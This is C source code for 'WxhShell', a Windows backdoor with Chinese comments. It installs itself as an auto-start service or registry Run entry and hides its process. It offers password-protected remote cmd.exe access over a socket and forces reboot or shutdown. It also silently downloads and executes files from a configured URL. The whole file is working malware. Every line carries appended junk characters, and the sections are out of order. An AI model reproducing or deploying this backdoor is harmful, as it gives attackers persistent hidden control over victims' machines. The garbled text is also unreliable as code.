    break; AaVI%$  
    } obAs<nk  
  // 关机 d; mmM\3]  
  case 'd': { 8! H8[J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ASKAgU"h  
    if(Boot(SHUTDOWN)) X,WQ'|rC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <JL\?)}n  
    else { s- ,=e  
    closesocket(wsh); ]pOYVf *$  
    ExitThread(0); C#U< k0R  
    } z^gQ\\,4  
    break; `1fJ:b/M  
    } {PODisl>\D  
  // 获取shell W;Ud<7<;Z  
  case 's': { j-lSFTo  
    CmdShell(wsh); Rwc[:6;fn  
    closesocket(wsh); I&TTr7  
    ExitThread(0); JrCf,?L^  
    break; yu`KzIU  
  } gp~yt0AU  
  // 退出 v8=?HUDd  
  case 'x': { {{V ;:+62  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); });cX$  
    CloseIt(wsh); / h}PEu3y  
    break; I.^X2  
    } pqyWv;  
  // 离开 aBXYri  
  case 'q': { xm<v"><  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l|08  
    closesocket(wsh); :y+B;qw  
    WSACleanup(); 6=ZRn gQ  
    exit(1); Q`.'-iq  
    break; xwTijSj  
        } `z9)YH  
  } 2d-TU_JqX  
  } VHXI@UT*  
#4P8Rzl$/  
  // 提示信息 ZYE' C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \%sPNw=e  
} &Ki> h  
  } j0g5<M  
W(;x\Nc7  
  return; zKIGWH=qqm  
} ;_mgiKHg  
]3n, AHA  
// shell模块句柄 c3=-Mq9Q  
int CmdShell(SOCKET sock) ,>D ja59  
{ 8[8|*8xqs  
STARTUPINFO si; oN *SRaAp  
ZeroMemory(&si,sizeof(si)); kQ@gO[hS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v<L=!-b^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nd.57@*M  
PROCESS_INFORMATION ProcessInfo; J.1O/Pw!.a  
char cmdline[]="cmd"; S5uJX#*;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H_VEPp,T  
  return 0; `wNm%*g  
} ).pO2lLF4  
/8f>':zUb  
// 自身启动模式 r?fH &u  
int StartFromService(void) h/,R{A2mO  
{ u@<Pu@?xm  
typedef struct :lUX5j3  
{ nN>J*02(  
  DWORD ExitStatus; %b=Y <v  
  DWORD PebBaseAddress; `_|aeoK_  
  DWORD AffinityMask; h,^BC^VU9-  
  DWORD BasePriority; u3U4UK  
  ULONG UniqueProcessId; 30D: ZmlY  
  ULONG InheritedFromUniqueProcessId; !n|#|.0m  
}   PROCESS_BASIC_INFORMATION; EJ1Bq>u7  
>BBl 7  
PROCNTQSIP NtQueryInformationProcess; cppL0myJ  
7$!yfMttu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z8IPhE@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  }VF#\q  
3pB}2]  
  HANDLE             hProcess; 8EOh0gk7  
  PROCESS_BASIC_INFORMATION pbi; GxxDY]!  
~|h lE z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b`$yqi<[  
  if(NULL == hInst ) return 0; lK0s=4c{  
d:A}CBTSY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WrNLGkt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Nwgu P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KacR?Al  
 Do|]eD  
  if (!NtQueryInformationProcess) return 0; t{!/#eQC  
)IQ*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X:>$ 8^gS  
  if(!hProcess) return 0; `)T&~2n  
>QXzMN}o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1n_;kaY  
AIb>pL{  
  CloseHandle(hProcess); tE@FvZC'=  
<0#^7Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;(7-WnU8N  
if(hProcess==NULL) return 0; C\7u<2c  
~8TF*3[}[  
HMODULE hMod; sI'a1$  
char procName[255]; qpI]R  
unsigned long cbNeeded; u#1%P5r&X  
]Kv q |}=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k}GjD2m  
3QW_k5o  
  CloseHandle(hProcess); ]fZ<`w8u}  
/#f^n]v  
if(strstr(procName,"services")) return 1; // 以服务启动 {3LA%xO  
KF_?'X0=  
  return 0; // 注册表启动 %`e`g ^  
} M i]I:ka  
F+m[&MKL  
// 主模块 b(l0js  
int StartWxhshell(LPSTR lpCmdLine) C6|(ktt  
{ >L gVj$Z  
  SOCKET wsl; xRlYr# %  
BOOL val=TRUE; B@ {&<  
  int port=0; 3V?817&6z  
  struct sockaddr_in door; ) V36t{  
# Q}_e7t  
  if(wscfg.ws_autoins) Install(); )n( Q  
UP2}q?4  
port=atoi(lpCmdLine); F?9SiX[\  
Di>rO038  
if(port<=0) port=wscfg.ws_port; 2:Q(Gl`<l  
 ;\qXbL7  
  WSADATA data; P>(P2~$Y"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *:g_'K"+  
`N}d}O8   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?1peF47Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ; DDe.f"  
  door.sin_family = AF_INET; Q8q@Y R#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zsj`F9*e  
  door.sin_port = htons(port); e`iEy=W  
/_)l|<k+V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IxOc':/jY  
closesocket(wsl); )1lu=gc  
return 1; ]!Oue_-;  
} Lu=O+{*8  
GKZN}bOm\  
  if(listen(wsl,2) == INVALID_SOCKET) { ?iv=53<c#  
closesocket(wsl); :HRT 2I  
return 1; oZN'H T  
} ?'eq",c#4N  
  Wxhshell(wsl); xr[Vp  
  WSACleanup(); s9O2k}]  
>zs5s  
return 0; CE ~@}`  
_okWQvdH  
} 4r&f%caU  
oh~: ,  
// 以NT服务方式启动 M&KyA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $ J1f.YE  
{ -:<lkq&/  
DWORD   status = 0; [|RjHGf  
  DWORD   specificError = 0xfffffff; | kXm}K  
};b1ahaG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; irKIy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /7/0x ./{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FJ54S  
  serviceStatus.dwWin32ExitCode     = 0; Mzkkc QLK  
  serviceStatus.dwServiceSpecificExitCode = 0; bcH_V| 5}  
  serviceStatus.dwCheckPoint       = 0; BMFF=  
  serviceStatus.dwWaitHint       = 0; dU_;2#3m  
G-u]L7t&1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^A9 M;q  
  if (hServiceStatusHandle==0) return; \+m$  
*jITOR!uF`  
status = GetLastError(); pK}=*y~$  
  if (status!=NO_ERROR) ?mv:neh  
{ IRW^ok.'b!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V5p0h~PK  
    serviceStatus.dwCheckPoint       = 0; jVWK0Zba  
    serviceStatus.dwWaitHint       = 0; qf#)lyr<D6  
    serviceStatus.dwWin32ExitCode     = status; poT&-Ic[  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5MF#&v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C&<~f#lB  
    return; eSfnB_@x2  
  } Y@uh[aS!  
)C~9E 5E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z[?mc|*x  
  serviceStatus.dwCheckPoint       = 0; e,0-)?5R  
  serviceStatus.dwWaitHint       = 0; 3n]79+w@z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); * F4UAQzYb  
} :TalW~r|  
UvJ; A  
// 处理NT服务事件,比如:启动、停止 h6v077qG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b5a.go  
{ [ f/I2  
switch(fdwControl) -c*\o3)  
{ swcd&~9r  
case SERVICE_CONTROL_STOP: ,Nm$i"Lg  
  serviceStatus.dwWin32ExitCode = 0; ZDt?j   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k N7Bd}  
  serviceStatus.dwCheckPoint   = 0; ztll}  
  serviceStatus.dwWaitHint     = 0; 5B4Ssrs5W~  
  { p3(2?UO!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *ZrSiIPP  
  } !t#F/C  
  return; xHA0gZf  
case SERVICE_CONTROL_PAUSE: eiVC"0-c}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L|j%S  
  break; 3=mr "&]r:  
case SERVICE_CONTROL_CONTINUE: A7Po 3n%Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vB\]u.  
  break; !l@zT}i??  
case SERVICE_CONTROL_INTERROGATE: 7[pBUDA  
  break; neZ.`"LV  
}; u]*0;-tz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i)a%!1Ar  
} u=x+ J=AH  
d+eZub94U  
// 标准应用程序主函数 L gk   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dT|vYK}\  
{ sD;M!K_  
D{8PQ2x>  
// 获取操作系统版本 3SttHu0X  
OsIsNt=GetOsVer(); p4!:]0c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cVnJ^*Z  
/]^#b  
  // 从命令行安装 GL$De,V  
  if(strpbrk(lpCmdLine,"iI")) Install(); X{xBYZv4  
*ISZlR\#  
  // 下载执行文件 KLWn?`  
if(wscfg.ws_downexe) { }_9,w;M$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "R>FqX6FB  
  WinExec(wscfg.ws_filenam,SW_HIDE); CusF/>  
} j=RRfFg)  
o\b-_E5"?  
if(!OsIsNt) { 2_^aw[-  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]:M0Kj&h  
HideProc(); : rMM4  
StartWxhshell(lpCmdLine); MRNNG6TUs  
} ED>prE0  
else k <iTjI*N  
  if(StartFromService()) n{*D_kM(H  
  // 以服务方式启动 "*1 f;+\  
  StartServiceCtrlDispatcher(DispatchTable); fxaJZz$o  
else Z<[<n0o1  
  // 普通方式启动 \JEXX4%  
  StartWxhshell(lpCmdLine); m,i,n9C->  
pKiZ)3U  
return 0; x!LQxoNF  
} t]jFo  
nfSbM3D]h  
nn/?fIZN4  
GPz(j'jU  
=========================================== JF&$t}  
`]Fx.)C#  
ygJr=_iA9  
R0ID2:i]F  
58\&/lYW  
XR2~Q)@  
" ZYU=\  
`*", <  
#include <stdio.h> 6tHO!`}1  
#include <string.h> 'm1N/)F  
#include <windows.h> B~]5$-  
#include <winsock2.h> Qd}m`YW-f$  
#include <winsvc.h> )a 9 ]US^  
#include <urlmon.h> DI+]D~N  
d@`M CchCB  
#pragma comment (lib, "Ws2_32.lib") JWvjWY2+P  
#pragma comment (lib, "urlmon.lib") wN1niR'  
|8> 3`w!  
#define MAX_USER   100 // 最大客户端连接数 [[PEa-992  
#define BUF_SOCK   200 // sock buffer j`^$#  
#define KEY_BUFF   255 // 输入 buffer IG)s^bP  
;c~cet4  
#define REBOOT     0   // 重启 zJP6F.Ov!  
#define SHUTDOWN   1   // 关机 @k[R/,#'[t  
b2aF 'y/  
#define DEF_PORT   5000 // 监听端口 EVp,Q"V]  
L pR''`2BT  
#define REG_LEN     16   // 注册表键长度 p&+;w  
#define SVC_LEN     80   // NT服务名长度 5^']+5_vb  
\drqG&wl  
// 从dll定义API (py]LBZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w0w G-R ?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G'3qzBJ#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FZ!`B]]le,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H 0+dV3  
O+g3X5f+  
// wxhshell配置信息 bM8If"  
struct WSCFG { mPI8_5V8]  
  int ws_port;         // 监听端口 0/S_e)U  
  char ws_passstr[REG_LEN]; // 口令 }ci#>  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3"o"fl  
  char ws_regname[REG_LEN]; // 注册表键名 s! n<}C  
  char ws_svcname[REG_LEN]; // 服务名 (WJ${OW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nF6q7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nKW*Y}VO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x77l~=P+!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >2bKSh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PV|uPuz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^Ge+~o?x  
j'9"cE5_  
}; :'#TCDlOb  
TXe$<4"  
// default Wxhshell configuration me[DmiM,  
struct WSCFG wscfg={DEF_PORT, ylt`*|$  
    "xuhuanlingzhe", /pF `8$  
    1, X]\ \,  
    "Wxhshell", :_!8 WB  
    "Wxhshell", ;&1V0U,fx  
            "WxhShell Service", {?'fyEeg  
    "Wrsky Windows CmdShell Service", R|wGU)KEc'  
    "Please Input Your Password: ", _.L4e^N&UO  
  1, iD<(b`S  
  "http://www.wrsky.com/wxhshell.exe", 3p0LN'q]A  
  "Wxhshell.exe" %Gt .m  
    }; J,Ks0M A  
_YcA+3ZL  
// 消息定义模块 f=)2f =  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (SKVuR%Jj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aN"DkUYZM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /yM:| `tT  
char *msg_ws_ext="\n\rExit."; L!=QR8?@E  
char *msg_ws_end="\n\rQuit."; ~gGZmT b  
char *msg_ws_boot="\n\rReboot..."; 4 :U?u  
char *msg_ws_poff="\n\rShutdown..."; BJ% eZ.  
char *msg_ws_down="\n\rSave to "; _YF%V;X  
`FoxP  
char *msg_ws_err="\n\rErr!"; 7Hm3;P.  
char *msg_ws_ok="\n\rOK!"; ^tXJj:wtS  
]c! ;L5  
char ExeFile[MAX_PATH]; .A6(D$ O k  
int nUser = 0; K)J(./  
HANDLE handles[MAX_USER]; 7b<yVP;{  
int OsIsNt; ULQMG'P^D  
hWX% 66  
SERVICE_STATUS       serviceStatus; )B[0JrcE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HD(.BW7  
"HPB!)C8(  
// 函数声明 i&VsW7  
int Install(void); rF]h$Z8o  
int Uninstall(void); qh`t-  
int DownloadFile(char *sURL, SOCKET wsh); XLH0 ;+CL{  
int Boot(int flag); ]CoeSA`j  
void HideProc(void); F7Zwh5W  
int GetOsVer(void); TY1I=8  
int Wxhshell(SOCKET wsl); O BN2 ) j  
void TalkWithClient(void *cs); By%=W5  
int CmdShell(SOCKET sock); 3-&QRR#p  
int StartFromService(void); Q=]w !I\  
int StartWxhshell(LPSTR lpCmdLine); !Y-98<|b M  
|+T1XYG5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ztw@Y|<2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V O3x~E  
z<yU-m2h  
// 数据结构和表定义 q5?# 3T=  
SERVICE_TABLE_ENTRY DispatchTable[] = JU4q zi  
{ ^k]XEW{PG  
{wscfg.ws_svcname, NTServiceMain}, l8?>>.<P=  
{NULL, NULL} 2$Tj84'X  
}; #5f-`~^C{  
y3h/ IpT  
// 自我安装 -{ H0g]  
int Install(void) 5=f|7yl  
{ KN*  
  char svExeFile[MAX_PATH]; eM+!Y>8Y  
  HKEY key; hNzB4 p  
  strcpy(svExeFile,ExeFile); |o\8  
E2m8UBS  
// 如果是win9x系统,修改注册表设为自启动 h=:Q-?n-  
if(!OsIsNt) { VY3&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wu)w   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m}X`> aD/  
  RegCloseKey(key); 1;{Rhu7* k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vvm0t"|\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |9B.mBoX  
  RegCloseKey(key); L31HG H2l  
  return 0; 8?%-'z.  
    } 7x@A%2J  
  } 0PWg;>^'  
} ^Y'HaneoM  
else { >"C,@cN}B  
h@[R6G|  
// 如果是NT以上系统,安装为系统服务 R00eisd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )BwjZMJ.N  
if (schSCManager!=0) +t?3T-@Ks  
{ sD=n95`v  
  SC_HANDLE schService = CreateService -YCOP0  
  ( 7R`mf   
  schSCManager, v#!%GEg1r  
  wscfg.ws_svcname, v61[.oS  
  wscfg.ws_svcdisp, ia MUsa{  
  SERVICE_ALL_ACCESS,  Y*14v~\'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /K(o]J0F  
  SERVICE_AUTO_START, THS.GvT9[  
  SERVICE_ERROR_NORMAL, + ~>Aj  
  svExeFile, `b^Ru+(dM  
  NULL, CY"/uSB  
  NULL, & 9<+;*/  
  NULL, lR(+tj)9uO  
  NULL, 3d e_V|%  
  NULL >M`CVUf  
  ); .dav8n*  
  if (schService!=0) pim!.=vN/U  
  { #H :7@  
  CloseServiceHandle(schService); hy`?E6=9+  
  CloseServiceHandle(schSCManager); gy_>`16K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x= 5N3[5  
  strcat(svExeFile,wscfg.ws_svcname); HbxL:~:}J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |g//g\dd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); | y2w9n0D  
  RegCloseKey(key); k@'#@ t  
  return 0; s mnS DS  
    } MP>dW nl  
  } `-p:vq`  
  CloseServiceHandle(schSCManager); OEkN(wF  
} fe9LEM8j  
} [Ki0b^  
-&-Ma,M?  
return 1; +>r/0b  
} o/+13C  
SF>c\eTtx  
// 自我卸载 c5u@pvSP  
int Uninstall(void) cj1cZ-  
{ ekWePL;rR2  
  HKEY key; f>N!wgo[  
CL+}| 7O(  
if(!OsIsNt) { #N`~xZ|$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *exS6@N]  
  RegDeleteValue(key,wscfg.ws_regname); d%o&+l#  
  RegCloseKey(key); <kx&w(=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { * iF]n2g:  
  RegDeleteValue(key,wscfg.ws_regname); !y@6Mm  
  RegCloseKey(key); )s%[T-uKi  
  return 0; l\@)y4 +  
  } ::}{_ Z  
} ;J ayoJ  
} FgB& b  
else { l=v4Fa0^jF  
~4 `5tb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U15H@h  
if (schSCManager!=0) uLWh |   
{ Bq$rf < W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t({W [JL  
  if (schService!=0) D?NbW @]  
  { #6CC3TJ'k  
  if(DeleteService(schService)!=0) {  [D<1 CF  
  CloseServiceHandle(schService); C,NJb+J  
  CloseServiceHandle(schSCManager); /J WGifH  
  return 0; 7eV di*  
  } ;e1ku|>$  
  CloseServiceHandle(schService); M)2VcDy  
  } opc/e  
  CloseServiceHandle(schSCManager); b)e *$)  
} [O?z@)dx  
} 5nKj )RH7M  
R5X.^u  
return 1; B Ere*J  
} !Ikt '5/  
3ZXQoC '  
// 从指定url下载文件 hMykf4  
int DownloadFile(char *sURL, SOCKET wsh) v#U"pn|M  
{ /(.mp<s0  
  HRESULT hr; sXD1C2o  
char seps[]= "/"; E.Jkf\  
char *token; Qm Ce>+  
char *file; n}!PO[m~  
char myURL[MAX_PATH]; !& z(:d  
char myFILE[MAX_PATH]; .MP !`  
O vk_\On  
strcpy(myURL,sURL); (A~/'0/  
  token=strtok(myURL,seps); Z2'Bk2 L  
  while(token!=NULL) 1$p2}Bf {n  
  { 0 g?z&?  
    file=token; '|Kmq5)  
  token=strtok(NULL,seps); F*3j.lI  
  } p(/dBt[3k  
'a\%L:`  
GetCurrentDirectory(MAX_PATH,myFILE); /#m=*&!CB  
strcat(myFILE, "\\"); f7X6fr<  
strcat(myFILE, file); NbU[l  
  send(wsh,myFILE,strlen(myFILE),0); TjwBv6h  
send(wsh,"...",3,0); i5CK*"$Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .ZJRO>S  
  if(hr==S_OK) "saUai4z  
return 0; Na?!;1]_  
else l@\#Ywz  
return 1; +i@y@<l:+  
QT>`^/]d  
} l%1!a  
{ZI)nQ{  
// 系统电源模块 +/)#( j@  
int Boot(int flag) 5sx1Zq7  
{ =[@zF9  
  HANDLE hToken; JU^lyi!  
  TOKEN_PRIVILEGES tkp; ,Qe?8En[  
S&b*rA02zp  
  if(OsIsNt) { 4:dH]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bqnNLs<N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LYaZ1*  
    tkp.PrivilegeCount = 1; }l],.J\BGX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -8j+s}Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7 D^gMN%p  
if(flag==REBOOT) { }L#_\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~==>pj  
  return 0; 9Bw|(J  
} 9/ibWa\.  
else { |>tKq;/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ysQ,)QoiR{  
  return 0; 3P^sM1  
} 9&` 2V  
  } n 3D;"a3  
  else { b#hDHSdZ,  
if(flag==REBOOT) { a+!tT!g&I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1M 781  
  return 0; Ire\i7MF:  
} f'VX Y-  
else { !VI]oRgP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) glF; e T  
  return 0; h >s!K9  
} )XzI #iQ  
} ` M3w]qJ<}  
HLZ;8/|48m  
return 1; (KF=On;=Y  
} t<|NLk.  
$}jssnoU  
// win9x进程隐藏模块 "huFA|`  
void HideProc(void) (r D_(%o  
{ )>`G  
8W#heW\-]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,H19`;Q  
  if ( hKernel != NULL ) U}PiY"S<  
  { LG1r]2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .P MZX%*v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *Ie7{EhJ'  
    FreeLibrary(hKernel); )_i qAqkS  
  } ~;&m*2 |V  
\DD0s8  
return; Oms. e  
} o17ekML  
Tny%7xSx1  
// 获取操作系统版本 km1~yQ"bH  
int GetOsVer(void) dnb)/  
{ \u>"s   
  OSVERSIONINFO winfo; ##V5-ZG{:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uec!RKE  
  GetVersionEx(&winfo); mA*AeP_$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Tp_L%F  
  return 1; =<X?sj5  
  else [zlN !.Z  
  return 0; u( wGl_  
} nx^]>w  
z3K6%rb-  
// 客户端句柄模块 PV/7 7{'  
int Wxhshell(SOCKET wsl) 8$ma;U d  
{ ]b%Hy  
  SOCKET wsh; 75T7+:p  
  struct sockaddr_in client; B,@c; K  
  DWORD myID; Qkd<sxL  
%y|)=cm[  
  while(nUser<MAX_USER) MF'$~gxo  
{ jlBanGs?  
  int nSize=sizeof(client); (h5'9r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <Gt2(;  
  if(wsh==INVALID_SOCKET) return 1; !2'jrJGc  
CO2C{~Q5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JoN\]JL\,  
if(handles[nUser]==0) Pp`*]Ib  
  closesocket(wsh); QzzW x2  
else "(3BvMA&!9  
  nUser++; 00SbH$SU  
  } A%D7bQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ju3*lk/j-  
9v }G{mQ#  
  return 0; ,>:;#2+og  
} ]"1`+q6i  
GA?87N  
// 关闭 socket 1Lg-.-V  
void CloseIt(SOCKET wsh) Sz^5b!  
{ @H7Wb}  
closesocket(wsh); ZP;j9 T!  
nUser--; 8ZKo_I\  
ExitThread(0); =ZDAeVz3w  
} =7C%P%yt  
niqN{  
// 客户端请求句柄 Tjl:|F8  
void TalkWithClient(void *cs) 72X0Tq 4  
{ /qx0TDB  
l411a9o  
  SOCKET wsh=(SOCKET)cs; Pj4/xX  
  char pwd[SVC_LEN]; <HJl2p N  
  char cmd[KEY_BUFF]; m^H21P"z  
char chr[1]; j8fpj{hp  
int i,j; ) :\xHR4  
p8\zG|b5  
  while (nUser < MAX_USER) { <IC~ GqXv  
RheRe  
if(wscfg.ws_passstr) { W ]Nv33i [  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qOUqs'7/]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g+ MdHn[  
  //ZeroMemory(pwd,KEY_BUFF); @EDs~ lPv  
      i=0; >zhO7,=,  
  while(i<SVC_LEN) { 66'?&Xx'  
un=2}@ '  
  // 设置超时 L}FO jrN  
  fd_set FdRead; :LQ5 u[g$\  
  struct timeval TimeOut; Wa1, p  
  FD_ZERO(&FdRead); 3T e^  
  FD_SET(wsh,&FdRead); vk?skN@  
  TimeOut.tv_sec=8; :OkT? (i  
  TimeOut.tv_usec=0; ph_4q@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KrXdnY8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]Z oD'-,  
hTEx]# (  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y= ]dvc  
  pwd=chr[0]; /MF! GM  
  if(chr[0]==0xd || chr[0]==0xa) { Ga^Zb^y  
  pwd=0; 7 As|Ns`  
  break; oX DN+4ge  
  } h[?O+Z^  
  i++; T`9u!#mT=  
    } jC3Vbm&ZZ  
A^RR@D  
  // 如果是非法用户,关闭 socket RiTa \  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UTSL  
} _9?I A  
Qq@G\eRo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TeWMp6u,r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +E;2d-x*p  
DwV4o^J:l  
while(1) { ncX/L[L  
Kv rX{F=  
  ZeroMemory(cmd,KEY_BUFF); cPl`2&p  
1t Jg#/?  
      // 自动支持客户端 telnet标准   uU> wg*m  
  j=0; 8srBHslI  
  while(j<KEY_BUFF) { #!9S}b$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kv@e I$t5  
  cmd[j]=chr[0]; [J C:  
  if(chr[0]==0xa || chr[0]==0xd) { /c$\X<b);  
  cmd[j]=0; r&2~~_d3y  
  break; {w8 NN-n  
  } U^.4Hy&D  
  j++; )OLq_':^ @  
    } TP}h~8 /;  
Hh4 n  
  // 下载文件 Ic{F*nnM  
  if(strstr(cmd,"http://")) { xEltwuDd?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2o9$4{}rG  
  if(DownloadFile(cmd,wsh)) S8l1"/?aHE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {66fG53x  
  else sjM;s{gy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6SC,;p=  
  } "GQl~  
  else { Lqp8yVO  
S#b-awk  
